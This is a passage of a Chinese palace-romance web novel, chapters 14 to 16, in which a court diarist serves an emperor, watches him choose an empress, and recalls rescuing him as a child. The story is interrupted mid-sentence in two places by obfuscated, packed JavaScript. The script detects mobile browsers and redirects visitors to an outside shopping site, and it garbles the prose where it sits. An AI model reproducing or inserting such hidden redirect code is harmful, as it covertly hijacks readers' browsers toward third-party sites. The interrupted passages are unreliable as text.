果然,李斯焱掐了一会儿后,自觉地放开了我的脸,把我刚刚写好的那篇起居注扔进了炭火盆里,淡淡道:“好了,这次不过是敲打敲打王家而已,朕答应娶他家的女儿,不意味着纵容她家的诸多手段。” 他烧完起居注,又转过来瞧我,眼神像一堆小冰碴子一样,嗖嗖往我身上扎。 “至于你么,也别动什么歪脑筋,好生给朕当起居郎,朕亏不了你。” 14. 第十四章-官服那些事儿 王芙娘怎样进了宫,又怎样出了宫。 我看着她寥落惨淡的背影,扼腕叹息,好好一个大美人,被李斯焱叫进宫里这样折辱,换个烈性点的姑娘,没准都绞了头发当女冠子去了。 我们紫宸殿上下都以为李斯焱会今夜告别童男之身,没想到他面对芙娘这种男人的终极梦想坐怀不乱,华丽地守护了自己的贞操。 于是,我们思维灵活的紫宸殿务工人员又开始怀疑,陛下是否对女子没有兴趣? 这个大胆的猜想令很多人觉得嘿机遇来了,导致这几日里,紫宸殿的小内侍们表现十分出位,悄悄涂脂抹粉,描眉画眼,装扮起来比丫鬟们还要大胆妩媚。 还时不时在李斯焱的必经之路上碰个瓷献个媚,手段老套,姿势新奇。 然而,他们的媚眼统统抛给了瞎子看,李斯焱是个不折不扣的异性恋,全然没懂他们的意思,当然是视若无睹,偶尔烦了,呵斥两句也就罢了。 李斯焱察觉不出,庆福却是上届内侍宫斗大赛的总冠军,见过的妖魔鬼怪能站满一整个宣政殿,在他手下翻花样,这是在找死。 于是,在某一个风和日丽的下午……庆福爷爷发了威,发落了几个格外风骚的内侍,成功制止住了紫宸殿的歪风邪气,内侍们重新恢复了素面朝天的状态,夹起尾巴做人。 因为撵出去了几个不安分的妖精,庆福又从延英殿调来了几个新人补上紫宸殿的缺,其中包括当初和我一起倒过夜香的意得小可爱。 当初意得因出众的工作表现被夏富贵相中,想办法塞进了延英殿,此番运气好,又被调到了紫宸殿,三个月间惊人的晋升速度,让意得成为了掖庭内侍圈子里冉冉升起的新一代锦鲤,人人都想来拜一把。 意得很得意地告诉我,他现在做的是紫宸殿的洒扫小侍童,月钱没有变,但如果做得好的话,一定能往上升一升,成为光荣的紫宸殿内殿内侍。 他还向我开心地强调,自己是庆福亲自点到紫宸殿来的,说明庆福爷爷也认可他的能力啊! 我不忍心告诉他事实,其实庆福是个美少年爱好者,选人只看脸。 “我一定要好好地当差,”意得喜滋滋道:“这里太好了,姐姐们都很和善温柔,还有幸可见天颜,若爹娘在天有灵,知道我见了那么大的世面,一定十分欣慰。” 看他一脸欣喜的模样,我不由想起了我爹娘…… 他们大概会一边心疼我一边恨铁不成钢,怎么就生了我这么个没骨气的废物女儿。 内心的母性突然泛滥,我摸摸意得柔软的头发,温声道:“是的,你爹娘一定以你为荣的。” 突然又想起来一事,于是道:“你初来紫宸殿,我自应该关照一二,有些日常家什我用不上,不如给你。” 意得连忙拒绝:“哪里好意思要沈姐姐的东西?” 我道:“你等着,不准动,”转头回了屋,从巷笼里捡出一大堆小东西来,包括囤积的肉干果脯,各种瓶瓶罐罐,还拿出了一罐抹面的膏子,统统塞给了意得。 后者抱着一大堆稀奇东西,舌头都大了:“这……我……” 我指着我山一样的零食道:“我还算得宠,这些吃的都是御膳房的小厮孝敬我的,堆着也是浪费,不如给你,还有这抹面的膏子,我跟你说啊,庆福挑内侍最重一个清秀干净,你可要多保养保养……” 听着我絮絮叨叨的声音,意得眼圈慢慢地红了,抹了把泪道:“谢谢姐姐,以前从未有人对我那么好过。” 我心想,世事就是那么不公平,我弟弟自小备受宠爱,可一样的年纪里,却没有人关心意得的饥饱,几件小东西就让他这样开心,倒反而让我有种愧疚感。 我揽住他的肩膀:“……以后要是有人欺负你,你来告诉我,我让虎跃儿收拾他。” 意得重重地点头。 我还想接着翻箱子,找点有用的东西给他,忽听见身后有脚步声。 意得反应比我快,麻利地跪下,恭敬道:“参见陛下。” 门口有一修长的影子逆光而立,正偏头打量着我们,我靠他头上那顶金光璀璨的发冠认出了他,是李斯焱。 漫不经心的目光落在意得怀里的一大堆东西上,李斯焱淡淡问道:“这是在干什么,收破烂吗?” 我把意得扒拉到身后,不让狗皇帝寻他晦气,口中道:“送认识的人一点用不上的家私罢了,何必说得那么难听。” 狗皇帝的嘴一直都非常阴损,今天大约是心情不好,说起话来阴阳怪气得很。 我轻声让意得回去,垂下眼道:“陛下找我有什么事?” 他并没有直接回答我,只是淡淡道:“随便来瞧瞧。” 打量了一圈我简陋整洁的小屋,他信步走到案边,饶有兴致地翻了翻我平时无聊时的诗文画作。 “这是什么?”李斯焱捡起一张图,颠来倒去看了一番:“老头骑王八?” 我劈手夺下我的墨宝,恼怒道:“你才是王八!这是神龟献寿图!” 直到李斯焱飘然而去,我依旧没弄懂他是来干什么的,或许真的只是路过而已。 又或许,只是看到了我把意得拉入了屋里,想个办法把他赶出去罢了。 * 时间过得飞快,转眼就到了李斯焱的生辰,三月初八。 这是他上任以来第一个生辰,百官的礼物送了一车接一车,素行领着宿夕和惠月两个忙活了好几天,才彻底把东西都归档塞进了库房。 李斯焱还半开玩笑地问我要生辰礼,我权当他在放屁,没想到他是认真的,生辰那天听说我没给他准备礼物,脸色难看了一晚上,吓得做寿面的御厨还以为自己的手艺不合皇帝的胃口,四十来岁的中年人差点在御前哭出来。 我只觉莫名其妙,李斯焱究竟有没有摆正自己的位置啊,他是我不共戴天的仇人,我能给他写起居注就已经是极限了,他还指望我给他准备礼物?这是给女娲唱对手戏——异想天开啊。 后来因他催得急,我只得连夜糊了一幅喜鹊登枝图糊弄了他去。 好在狗皇帝文化素养不高,看不出我图里明晃晃的敷衍之意,收到画儿还挺高兴,把喜鹊登枝图煞有介事地裱了画轴,放在了一个抽屉里,我隐约记得上次我写的余太后传好像也存放在此处。 我怀疑狗皇帝会在夜深人静的时候悄悄拉开这个抽屉,欣赏自己强迫劳动的成果。 好一个逼人加班的狗皇帝! 我愤怒地在起居注里记录下此事。 * 有人的生辰普天同庆,有人的生辰无人在意,我自己的生辰在四月里,没有告诉任何人,连碗面都没有吃。 以往我会积极操办自己的生辰宴,请上我的好友们,大家吃着酒菜,嘻嘻哈哈游戏一夜,可今年不一样,我潜意识里总觉得自己去年就该死了,是因为李斯焱威胁我不许自杀,才苟延残喘地行走在世间,于是很执拗地不想过这个生辰。 春天是个多愁善感的时节,生辰那天,我下了差事,搬了个小凳子去房间门口发呆。 一边剪纸钱,一边胡思乱想些很纠结的问题,想我这样做究竟对不对?为了保婶子和小川的命,忍辱负重给仇家打工…… 每次想到这个问题,我都要长长地叹一口气,自觉无颜面对列祖列宗。 我们沈家当了十几代史官,最看重的就是一个气节,家庭内部道德要求极高,每代都有一死以保忠义的学习典型,我从小被灌输这套死生度外的价值观,所以才敢在宣政殿前骂皇帝。 原本是打算骂完自杀的,可我倒霉就倒霉在,没有死成。 众所周知,死成功了叫以身殉道,没死成功,那叫苟且偷生…… 出于对祖宗审判的恐惧,我剪纸钱剪得更加聚精会神,希望我的忏悔之意能打动列祖列宗,让他们让我一马。 正当我努力印钞时,耳边传来了一阵喧嚣声。 我抬头一看,是李斯焱穿戴整齐,出来赏芍药。 眼见他往我这个方向过来了,我立刻把纸钱篓子一收,拎起小板凳回屋。 隔着老远的距离,他懒懒道:“你跑什么,过来。” 听见领导的召唤,我把凳子踹回屋里,抓起起居郎的帽子往头上一扣,生无可恋地滚回去加班。 * 我的日常着装为什么从宫装变回了朝服呢?这要从之前说起。 某日当差,魏喜子告诉我,我随李斯焱上朝的时候,御史台新来的张御史老是偷瞄我,虽然他遮遮掩掩,十分隐蔽,但还是被他的同事兼我的好友断袖江御史发现了。 我困惑挠头:“他看我干嘛呀,我又不认识他。” 魏喜子道:“江御史托我告诉你,那张御史约摸是……对你……” 他绞尽脑汁,最后拿他自己无疾而终的爱情打了个比方:“就像我对王娘子那样。” 我静了一瞬:“……天呐,他好重口。” 我自认面貌普通,身材平板,脾气刚烈,声名狼藉,万万没想到还有人暗中给我送秋波,妈呀,莫非今年我命犯桃花了? 但我根本不认识他好吗! 本来是我和魏喜子的私人谈话,可不知怎么穿到了李斯焱耳朵里,他把我叫过去,问我:“你认得张图遇吗?” 我:“张什么遇?” “张图遇。” “张图什么?” 李斯焱凉凉地看了我一眼:“御史台的张图遇。” 这时,我已经把和魏喜子的闲谈忘了个精光,绞尽脑汁在脑海里搜索这号人物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599802|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李斯焱不耐烦道:“老在上朝的时候看你的那个!” 他这么一说,我才记起来,恍然大悟:“哦,是那个人啊,他怎么了?” 李斯焱没说话,上下打量了我好几圈,看得我心里一阵发毛,不由得攥住了衣襟:“你……你看我做甚。” 他仍是不说话,瞧我的眼神越发不善,且露骨。 我警惕地后退一步,打定主意,若是他要因这个什么图遇来找我麻烦,我要立刻把桌子掀了,然后迅速跑路。 出乎意料的是,李斯焱没有把我怎样,只是面露阴沉之色道:“寻常女子作此打扮或许俏丽,可你这么一打扮,却无半分姿色。” 没有半点姿色? 我一句去你大爷来到了嘴边,但见李斯焱面色难看,直勾勾地盯着我,还是强行忍下了。 这可真有意思,当年强迫我穿宫装的人难道不是他吗?穿完了捏着我下巴左看右看的不也是他吗?怎么今天不知道发了什么疯,还挑剔起我的形象来了。 我咬着后槽牙道:“陛下觉得我碍眼了?” 李斯焱冷冷道:“沈缨,朕让你做朕的起居郎,是让你记述朕的言行,不是让你去朝上搔首弄姿,勾引顾命大臣的。” 搔首弄姿? 勾引大臣? 我本该生气的,但由于这个指控实在过于离谱,这一刻我内心产生的迷惑远远大于恼怒。 “陛下见过什么叫真的搔首弄姿吗?”我一指外面道:“打这儿往西走,走到底就是教坊司,那儿有的是现成的例子。” 李斯焱声音越发阴冷:“你还想像她们一样迎来送往,以色侍人?若真如此,朕何不成全了你?” “好啊,”我无所谓道:“我早就想学胡旋舞了。” “沈缨!”他凶狠地叫我的名字。 我梗着脖子瞪他,眼神同样凶狠:“明明是你挑的臣子定力不足,把持不住自己,跟我有什么关系?别什么过错都往女人头上甩,老娘才不认!” 李斯焱被我气得不轻,手指节在桌边捏了又捏,好像在捏我的脑壳一样, 我无所畏惧地一扬下巴,等着他找到法子罚我,反正要不然是强迫劳动,要不然是提铃面壁,除此之外,他也不会别的招了。 安静了片刻后,李斯焱对守在外面的庆福道:“给她找一身官服,外加幞头革带,现在就去!” 庆福一愣,我也一愣。 “沈娘子身形小,寻常官员服饰,她怕是穿不住。”庆福道:“容奴给针线宫女传个信儿,让她们赶制一套出来。” 李斯焱烦躁地点头应允。 我尚未反应过来,一头雾水道:“你给我官服做什么?我以后不用穿宫装了吗?” 李斯焱冷笑道:“怎么?朕记得你从前吵着闹着不想穿宫装,如今穿出了甜头,不乐意换了吗?” “乐意!”我大喊道。 “陛下误会了,我是十二万分的愿意!” 一听不用穿这身束手束脚的衣裳,我整个人都活泛了,官服好啊,松快凉爽,还不用梳头发! “从今天起上朝必须穿官服。” 说完把我赶了出去。 我莫名其妙提前下了班,还获得了不用穿宫装的美事,傻呵呵地乐不可支了一整天,几天后消息传到了我耳中;王御史因上朝时仪容不整,被江御史给参了一道,打了整整二十板子。 换上凉爽官服的我对魏喜子感叹:“江湖险恶啊,看来他们御史台的同事关系也是纸糊的。” 魏喜子的小八字眉忧虑地一撇,道:“听你这么一说,我突然觉得左拾遗最近看我的眼神有点奇怪,他是不是想取我而代之?” “……你想多了,是因为你官服上粘了墨迹,左拾遗洁癖,他约摸是想帮你洗衣服。” “哦……”魏喜子羞羞地低下头。 * 再说回当下,李斯焱心血来潮,临时决定出门赏芍药,刚跨出殿门,第一眼看到了我,于是理所应当地让我相陪。 内苑春风十里,万物向荣,花匠们在坡上种了一丛又一丛娇美的芍药,花开时其美艳难以用人类言语形容。 只可惜与我赏花的是狗皇帝,给这种粗人看花,无异于把牡丹倒进牛饲料盆。 他看上一朵开得正好的粉色大芍药,二话不说,直接走过去掐了下来,花朵遭了无妄之灾,露珠还颤颤巍巍挂在花蕊上,看得我一阵肉痛。 庆福最有眼力见儿,立刻奉上大花瓶一只,让皇帝摘个够。 然而李斯焱直接无视了庆福,反手将那朵比人脸还大的花簪在了我的发髻上。 “不错,挺好看的。”……他还挺得意自己的杰作。 我被迫顶着一朵硕大的芍药,满脸晦气。 15. 第十五章-救过一条白眼狼 七月的时候,前朝大臣突然不约而同请李斯焱立皇后,说是后位空悬已久,而今天下太平,应择端方淑女为后云云。 我跟他上朝的时候恰巧听到了这封启奏,心想这群老贼真有意思,一个个迫不及待把女儿往狗皇帝床上送,有这种亲爹真是倒了八辈子血霉——李斯焱又不是什么良人,嫁给他能幸福吗? 我还以为面对这种没有营养的督促,李斯焱会不为所动,可是八月的时候,他居然真的开始考虑选后之事了,中间甚至还把夏富贵叫过来问了一次话,把夏富贵弄得受宠若惊。 那日,夏富贵刚出了书房的门,蹲守在旁的我立刻把他拉到了一个隐蔽的角落,问道:“李斯焱问你什么呀。” 夏富贵抹了把头上的汗,心有余悸道:“他问我之前在掖庭给他送馒头的事。” 我双目圆瞪:“你把跟你一块儿送馒头的姑娘是我的事说了吗?” 夏富贵委屈得要命:“姑奶奶我哪儿敢啊,要是陛下知道了,我也逃不过一个隐瞒的罪名啊,所以我只说是一个偶然遇见的小娘子,没有互通名姓。” 我狂拍他的肩膀,夸奖他道:“富贵儿真聪明,这样说简直万无一失,就让他自己慢慢去追查吧,找得到我头上才是见鬼了,哈哈哈哈哈哈哈哈……” 夏富贵小声哔哔:“你还笑,我们这是在犯欺君之罪,要杀头的。” 我嚣张放话:“要杀也是杀我头,你怕什么?” 夏富贵惆怅地摸摸自己的大脑袋。 送走夏富贵,我神清气爽地进了御书房当差。 李斯焱今日除了夏富贵外,还会见了尚书令,左相和两个节度使派来的传话人员,业务繁忙,需要记录的东西甚多,我坐到我的小几案边上,大笔一挥,埋头工作。 过了半天后,李斯焱终于送走了他的中老年臣子团,日已西沉,我收拾笔墨准备下班,收拾到一半,李斯焱突然叫我过去。 我立刻拒绝道:“内殿当差者不得近御案,陛下有什么事直接告诉我即可。” 李斯焱全然不在意隐私,随意道:“没关系,反正你从来都不守规矩,到朕案边来也没什么。” 我皱了皱鼻子,我确实不太遵守宫里的条条框框,可是涉及到军国机要,政事文牍之类的东西,我是决不敢僭越半分的。 然而,李斯焱并没有等我纠结的耐心,他直接拽着我的袖子,把我拉到他的书桌前道:“叫你来你就来。” 我脚下一绊,吧嗒一下摔在了他的蒲团上,脸着地,差点把鼻子摔折,嗷地叫了一声。 罪魁祸首狗皇帝呆了一瞬,赶紧揪着我的后衣领把我拎起来,绕到前面确认了我的脸没被摔出毛病后,若无其事道:“笨死了,下回小心点。” 我被狗皇帝拎来拎去太多次了,只摸了摸鼻子,无精打采地问:“陛下费那么大力气把我拉过来,是想让我看什么?” 李斯焱又拿了个蒲团,挨着我坐下,起落之间,身上淡淡的薄荷饮味道幽幽向我的鼻子里钻来。 我不太习惯离他那么近,不自在地往边上挪了一点。 他注意到了我想离他远些,哼了一声,抓住我坐的蒲团,又把我拉了回来,不满道:“就你那破目力,坐那么远看得清什么?过来。” 我心想你他娘的究竟想让我看什么惊天大宝贝啊,搞得那么隆重。 不由自主地偷偷看了他的书案一眼,一看可倒好,我的眼睛被牢牢黏在了他的桌上。 只见奏折间赫然摆着几张精致的美人绘卷,左下角用小楷写了各自的名字。 哇哦! 我眨了眨眼,立刻明白了这是在干什么。 不就是八卦群众们最喜闻乐见的皇帝选妃吗! 李斯焱摆弄着这几张画卷,好整以暇道:“前月里刚放了要选后的风声出去,今日画像就已送来了案前,庆福办事还是利落的。” 言语间颇为得意。 我试探着问道:“你叫我来,是想也给我瞧瞧吗?” 李斯焱瞟了我一眼:“不然让你来干什么的,当镇纸吗?” 本美女爱好者顿时激动起来,小心翼翼翻开画卷,好家伙,一水儿的美女,我目不暇接地来回欣赏,口水不争气地流了出来。 我看画像,李斯焱眯着眼跟着我一块儿欣赏,两个人像是刚凑钱买了一本平康坊都知娘子花名册,正蹲在角落里意淫都知娘子的地痞一样,神情中充满了猥琐之气。 我愤愤地心道:可恶,狗皇帝艳福不浅。 寻常皇室子弟,在礼官教导下都会对同阶层的贵女保持尊重,但李斯焱没有接受过这帮人的教导,所以会毫不羞耻地指点女孩们的长相气质。 而且更日狗的是我和他的审美有巨大的分歧,他喜欢清秀可爱型,我喜欢冷艳气质型,两人差点因为谁更漂亮这个话题吵起来。 “你为什么觉得李絮月不好看?我觉得她是安邑坊第一美女了,就是性子差点不爱理人,单论颜色,排进长安城前五没问题吧?” 李斯焱毒舌病又犯了:“一流?看来你们安邑坊真是没人了,她眉粗脸方,长得像个男人一样,朕看连你都比她强点。” 我听他这样说,心里暗爽,但还是看在邻居的份上,为李絮月正名道:“陛下不喜欢她的样貌,可李絮月读书读得好啊,红袖添香什么的信手拈来,真的不试试?” “没兴趣,”李斯焱看来是真的不吃这一款,骨节分明的手指翻翻捡捡,从画像里挑了五幅出来,食指点了一点道:“收集那么多画像,只有这五人勉强合格,你瞧瞧吧。” 我扼腕叹息,这五位都是美人中的美人,依我看,哪个都不该便宜了狗皇帝。 他看着看着,突然来了一句:“得亏你进了宫,要不然凭你的姿色性情,都不会被庆福录到这个名册上来。” 我拍拍胸口庆幸道:“幸好我长得丑。” 李斯焱没说话,哼了一声,神情有些阴郁。 我没理他,拿起了他拣出的五张画像一看,顿时乐了,指了指尚书令家温白璧的画像道:“陛下这是遇到毛延寿了哇!我打马球的时候见过温白璧真人,她比这个可好看多了。” 李斯焱问道:“毛延寿是谁?” “你读过西京杂记吗?王嫱知道吧?不知道?那我跟你从头讲……” 我向他解释了一遍,并大肆吹嘘了温白璧惊人的美貌,西子貂蝉再世也不过如此云云。 “……她是真的漂亮,性情也极好,我那日没有带马球棒,还是她借给了我呢,不过那次对面遇上了上官兰这死婆娘,我们这一队输得很惨……对了,之前她们一起联诗,温娘子好像也是头名。” 李斯焱对温白璧没有多大兴趣,我说了这么多,他只是敷衍地嗯了一声,反而问我:“你与长安闺秀们交游甚少,怎么会知道这么多温娘子的轶事?” 我一愣,随即道:“我是史官啊,当然对顾命大臣的家事都略知一二,而且温白璧她是全长安郎君的梦,我起码有三个朋友在暗恋她,时间久了自然知道得多了。” 见他不语,我放下画卷,讽刺道:“陛下疑心我收了温尚书的好处?” 李斯焱看了我一眼,又露出了他惯常的轻蔑冷笑:“倒也没有,就凭你这个蠢猪般的脑子,哪里有勾结里外的本事?” 我气了个仰倒,庆福老说我长了张蹦不出好话的破嘴,其实狗皇帝才是真狗嘴吐不出象牙来。 * 李斯焱办事雷厉风行,自从那日看肖像起,就紧锣密鼓地开始了针对未来老婆们的背景调查。 除了常规的查问之外,他还派了一批内侍去查九年前某一天的宫廷进出档案,特特吩咐了一定要仔细,不能放过任何一条记录。 那一年他大约十岁,在掖庭里倒夜香,我大约六岁,在安邑坊想阿娘。 我知道,他定是想查当年送了他一只馒头的小娘子是谁,查,让他尽管查,查得到我头上我跟他姓! 那日入宫本就是我临时起意,混在运水车里悄悄进来找阿爹的,所以进出档案里根本没有我的名字,任他翻破纪录,也找不着一个沈字。 我不由得回忆起当时的情景。 其实当时我想去的是紫宸殿,结果跳车时机没选对,阴差阳错迷路进了掖庭。 掖庭房子多,密密麻麻的全是小巷道,就在其中某一条小巷里面,我遇到了当时还是一个苦闷青年的夏富贵。 夏富贵刚刚被他师傅怒骂一顿,像条丧家犬一样窝在角落里舔伤口,叨叨着莫欺少年穷之类的话,六岁的我不好意思地走过去问道:“这位哥哥?你知道这是哪里吗?我不小心迷路啦,可以带我出去吗?” 夏富贵抬头愣愣地瞧了我几眼,目光落在我漂亮的白绫小裙子上,呆呆问道:“你是谁?怎么进了掖庭?” 我当然不可能说实话,只说我和父亲走散了,求他送我去紫宸殿,我要找阿爹去。 紫宸殿,阿爹。 夏富贵以一种非常激动的姿态突然弹跳了起来,如同一只疯癫的□□。 “你……你是哪一宫的?你住在哪里?我……小的带公主出去!” 他拼命压抑着内心的冲动,小心翼翼道。 我连忙摇摇手:“你搞错了,我不是公主,我阿爹是史官的编撰,今儿进宫给起居郎代职的!” 夏富贵的肩膀顿时耷拉下来,难掩失望。 不过富贵儿此人虽然有点小势利,心地却不错,即使我不是公主,只是一个编撰的女儿,他也同意了把我送去紫宸殿。 还怕我饿,把他中午吃剩的一个馒头给了我。 我捏着那个冷冷硬硬的馒头,认定哥哥说宫里人都吃山珍海味云云是在驴我,宫里人明明过得还没有我们家好,只有冷馒头吃。 但夏富贵看起来很真诚,我不好意思拂了他的面子,于是举着馒头走了一路,直到…… 直到我第一次直面内侍争斗霸凌现场。 四五个,不,约六七个年轻太监,正骂骂咧咧地围着一个人殴打,为首的太监生了张横肉脸,手上举着一柄长长的棍子,照着那人狠狠打去,边打边骂道:“小兔崽子,敢在爷爷面前抢功!别以为你认了个宫女做干娘,老子就怕了你!” 被打的男孩不过十岁上下,身材高瘦,黑发蓬乱,那么狼狈,一双眼睛却依旧凶狠明亮,让我想起了芙蓉苑围猎时逮到的小狼崽子。 他被打得那么猛,却一声也没有吭,只是抱着头颈寻找时机,突然,他猛力撞倒面前的一个内侍,抢过了他的棍子,回身向那领头之人抡去。 领头的太监挨了一棍,疼得大叫一声,更加凶恶地令剩下几人围殴他。 我呆了一瞬,天生的正义感翻涌而出,生气地上前喊道:“你们怎么可以打人!再打我要报官了!” 报官?夏富贵差点摔一趔趄,连忙把我拉回来劝道:“好姑娘,这不关你的事,他们常常欺负焱郎,不差这一次。” 我不可置信地扭过头:“什么?他们六个人打一个,还经常欺负人?他们会把他打死的!” 小女孩儿的声音清脆尖锐,我的气势里又天然带着史官世家的凛然正气,唬得那群内侍竟真的停了手,皱着眉头打量我。 我趾高气昂道:“你们走!” 那内侍头子见我衣着鲜亮,模样傲慢,一时拿不准我的身份,缓和了脸色问夏富贵道:“敢问小娘子是哪位贵人?” 夏富贵刚想开口,我敏锐地觉察了我父亲的身份可能不太够,吓不住他们,于是学着我婶子训下人的样子,跋扈地叉腰骂道:“呸,狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599803|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴才!凭你们也配知道我的身份!都给我滚!” 这招很管用,宫里的人大多欺软怕硬,见我一身趾高气昂的气派,便真的以为我身份尊贵,纷纷向我赔了不是,做鸟兽散。 夏富贵也被我给镇住了,犹犹豫豫问道:“那……那我们还走不走了?” 他回头看了一眼角落里被打得一身青紫,正艰难地站直身体的小郎君。 被毒打了一顿,他的头破了,嘴角肿了,腿骨好像也受了伤,脚踝肿出老大一块。 但即使这样,他还是努力撑直了身体,阴郁地向我与夏富贵的方向瞧了一眼,然后慢慢地拖着伤腿,往屋子里挪动。 他一定很疼,腮帮子咬得死紧,身子也在微微地颤抖。 我当然不会坐视不理,我可是全长安最正义最好心的小娘子,立刻拉着夏富贵跑了过去,关切地问道:“你怎么样,疼不疼?我给你喊郎中吧!” 那小郎君停下了,垂眼冷冷地盯着我,眉头微皱。 夏富贵小声提醒我:“小娘子不知,我等掖庭人受了损伤,只得自生自灭,没钱延请郎中的。” 我道:“可我有钱啊,我借给他。” “不需要。”小郎君费力地转过身,冷冷道。 夏富贵叹了口气:“焱郎你太倔了,任他们打一顿消气也就是了,何必打回去?我看你还是应该请个大夫……” “不关你的事!”他咬牙切齿凶道。 夏富贵住了口,收手站到了我身后。 我不喜欢这个叫焱郎的小郎君的态度,可见他伤得那么重,到底还是没和他计较。 手里恰好有一个馒头,我摘下头上的一枚小珠花,塞进了馒头里面,递给他道:“你不要钱,那我送你个馒头好了,拿去。” 小郎君回过头,眉头紧锁,目光阴鸷,我神情倨傲地哼了一声,派头十足。 见他不接,我就硬塞在他手上,不及他推辞,便扬着下巴对夏富贵道:“不是说要送我回去吗,走吧。” “你……”少年人的声音在身后响起。 我充耳不闻,大摇大摆地远去。 我二叔说过,做好事不要留名,否则很容易被没皮没脸之人缠上,我觉得很有道理,并且决定要听他的话。 夏富贵把我塞进背篓里,偷渡到了紫宸殿。 阿爹刚刚下了差,甫一见到女儿蹬蹬蹬地跑来,吓了一大跳,正要训斥我胡闹时,我小嘴一扁,哇地一声哭了。 幼年的我飞身扑到阿爹怀里,抽抽噎噎地拽着阿爹前襟道:“阿爹,哥哥他说谎,他骗缨缨!宫里明明一点也不好,又大又安静,我不喜欢这里……” “……我好想阿娘啊,可哥哥说阿娘再也不会回来了。” “……这次阿爹你好几天不回来,我还以为你和阿娘一起去了很远很远的地方,不要缨缨了,我怕得要命,才偷偷跑进了宫里来…… “呜呜……我们回家吧。” 阿爹愣了愣,原本要教训我的手拍拍我的后背,小声道:“阿爹也很想阿娘,缨缨不要怕,阿爹不会走的……不会走……” * 很多年后的今日,我又回想起了往事,想起来阿爹拍着我的背念叨着他不会去找我阿娘,说他会好好地陪着我,可没想到他还是去了,只留我一个人孤零零地被关在了内苑里。 我恨自己那天为什么要跑进宫,为什么要管李斯焱的闲事,如果我不说话,任那群内侍把李斯焱给打死了,那是不是我阿爹就能好好地活下来,婶子也不用当寡妇? 只可惜人生只有一次,没有人能预判命运的微笑和恶意。 几日后,李斯焱告诉我,他择定了温白璧为他的新皇后,明年秋天就举行封后大典,迎接她成为内苑新的女主人。 我点点头,在起居注里把这个事写了下来。 他眼中含笑,温柔道:“说起来,朕与温娘子还有几分渊源,朕幼时处境险恶,有一次被其他内侍抱团排挤,几人围殴朕一人,朕虽然略占上风,但还是受了伤,温娘子心善,送了朕一朵珠花,让朕拿着这个请大夫去。” 为了增强故事的可信度,他还特地珍重无比地从书阁里摸出了一个锦盒,锦盒里孤零零地躺着一朵小小的珠花。 ——鎏金缠丝的便宜货,玉兰花的样式,可不就是当年我给他的那一个。 我看着这朵珠花,心里默默道了声放你娘的狗屁。 明明是他被打得半死不活,老娘路见不平拔刀相助,被他说成他一展雄风,美人送珠花当医药费……呵,男人。 我在心里放肆嘲笑他,嘴上还是不走心地恭维着:“哎呀,温娘子真是心善极了呢,和陛下般配得很,不过我那年好像也进过宫几次,倒是没碰到过温娘子。” 李斯焱讥诮道:“怎么,你想说朕遇见的不是温娘子,而是你吗?” 我笑眯眯道:“对呀,就是我。” 李斯焱懒洋洋道:“朕记得,送朕馒头的小娘子温柔可亲,还是个美人胚子,怎么可能是你呢。” 我回忆了一下我当时叉腰怒骂的情形,深深觉得李斯焱对温柔可亲有巨大的误解。 我看他的眼神多了两份同情:此人记忆错乱,明显是被揍糊涂了。 他又笑着道:“朕查过了当日进宫的记录,温娘子恰好随母亲安平郡主入宫拜见太后,朕派人去温家问过了她,她虽然记不太清细节了,却说确有此事。” 我皮笑肉不笑道:“如此甚好,恭喜陛下寻见昔日恩人。” 李斯焱端详着我,突然道:“你这是什么表情,朕有了皇后,你不替朕开心吗?” 我张了张嘴,本想讽刺他自作多情,死要面子,但仔细一想,何必呢,就让他被温白璧骗着吧,老话说得好:骗子配狗,天长地久。 16. 第十六章-冬日加班记 谕旨封温氏女为新后,诏令一出,整个长安都沸腾了。 温家如鲜花着锦,烈火烹油一般,人人都来道贺,温尚书令上朝时的腰板都挺得直了,那叫一个春风得意。 除去收了温白璧之外,李斯焱半点不亏待自己,二话不说,又下旨纳王芙娘和巨鹿魏氏的魏婉儿为才人,另加几个小门户的娘子,暂定于封后之典后入宫。 连着来了两位天仙美女分女儿的宠,温尚书令的腰板顿时委顿了不少。 涉及纳妃之事,宫里宫外一片忙乱,尤其是素行,我都想不通她一天天哪有那么多事情要忙,结果夏富贵为我解了惑:“……这么大一座宫廷,能保持每日正常运转就已是不易,更何谈要进几个新人呢?” 夏富贵这日得了闲,邀请休沐的我一同吃顿便饭,并向我打探最新的消息。 “你想知道什么啊?”我边往嘴里塞一块美味的樱桃毕罗,一边问夏富贵。 夏富贵鬼鬼祟祟问道:“那日之后,陛下没有起疑心吧?” 我一怔,立刻明白了他说的是李斯焱盘问他当年之事的那天,于是宽慰他道:“放心,他根本没把你的供词当回事,李斯焱这个人疑心很重,谁都不信,只相信自己查到的东西。” 夏富贵忍不住问道:“那陛下查到了吗?” “哦,他查了,查到温家的温白璧头上,而且那温白璧胆子挺大,居然真的认下了,那不就郎情妾意水到渠成,抱得美人归了嘛。”我笑眯眯道。 夏富贵竟然露出了几分羡慕神色:“这温娘子当真命好,简直是一步登天了。” 我摇摇头道:“算不上吧,温家原本就世代勋爵,这代家主当了尚书令,旁支在外面还有几个手握兵权的亲戚,算是长安城里一等的豪门,李斯焱娶她可不是因为感激一个馒头的恩情,是想让她带回来更多的馒头。” “那也很不错了,陛下这是给足了她面子,都没有先纳美人进宫。”夏富贵道。 